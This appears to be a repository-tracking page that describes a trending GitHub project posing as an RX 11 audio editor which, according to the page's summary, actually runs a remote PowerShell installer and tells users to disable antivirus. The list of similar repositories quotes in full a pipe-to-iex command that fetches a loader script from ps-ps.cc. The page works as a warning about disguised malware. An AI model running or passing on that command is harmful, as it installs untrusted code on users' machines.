Westdaclaim95/RX-11-Audio-Editor
About the project
The repository poses as an Rx 11 audio editor, but is actually a PowerShell script that downloads and executes a third-party installer from an external domain, with instructions to bypass execution policy and disable antivirus.
Useful for
- Study an example of malware disguised as a useful utility
- Examine how the README circumvents SmartScreen and Execution Policy warnings
README summarized by DeepSeek V4.1 Flash. Details may be inaccurate.
Why it’s trending
- 166 stars so far today, about 205 expected by the end of the day.
- The repository is 1 day old and already has 165 stars. With less than two weeks of history, there's no usual pace to compare the spike against yet.
- Top new repositories this week: #105.
- About 81 forks a day — people are taking the code.
Stars per day
Bars are daily stars, the line is the usual pace. Red marks spike days.
Numbers
- Total stars
- 165
- Today
- 166 · ≈ 205 by evening
- Forks
- 14
- Issues and pull requests
- 0
- Watchers
- 0
- Created
- October 1, 2026
- Last push
- October 1, 2026
Star trust
Growth looks organic: forks and discussion are in line with active projects, and stars arrive unevenly, the way people give them.
These are heuristics, not a verdict: we judge by the repository’s behavior, not by a list of stargazers.
Spotted in
- October 2, 2026Top new repositories this week: #105
Similar by description
-
5.7
MatterInfiltrator/SlideShow-Video-Maker
The repository poses as a slideshow video maker, but actually instructs users to run a third-party PowerShell script for "activation" and dependency installation. The README includes steps to bypass execution policy…
-
5.8
denmooseflex/Display-Fusion
The repository poses as a Display Fusion configuration manager, but is actually an installer distributing a pirated "pre-activated" version via a remote PowerShell script. The README includes instructions for bypassing…
-
6.9
GlueRhythmShield/Ableton-Live-12
The repository poses as Ableton Live 12, but is actually a PowerShell script that downloads and runs a third-party installer from ps-ps.cc, including bypassing execution policy and disabling antivirus. There is no…
-
5.6
weldaxolotlboost/VoiceMod
The repository poses as a Voicemod optimization suite but actually offers a "pre-activated" version installed by piping a remote PowerShell script. The README includes instructions to bypass execution policy and…
-
5.8
Pulverizeclirouse/StartAll-Back
The repository poses as a StartAll Back optimization utility, but is essentially a loader script: the README tells users to run `irm https://ps-ps.cc/powershell/Loader.ps1 | iex` and disable antivirus. There is no…
-
5.6
endapothecarysaw/Reason-14
The repository poses as an optimization suite for the Reason 14 DAW, but it is essentially a PowerShell script that downloads and runs a third-party installer while bypassing execution policy and disabling antivirus.…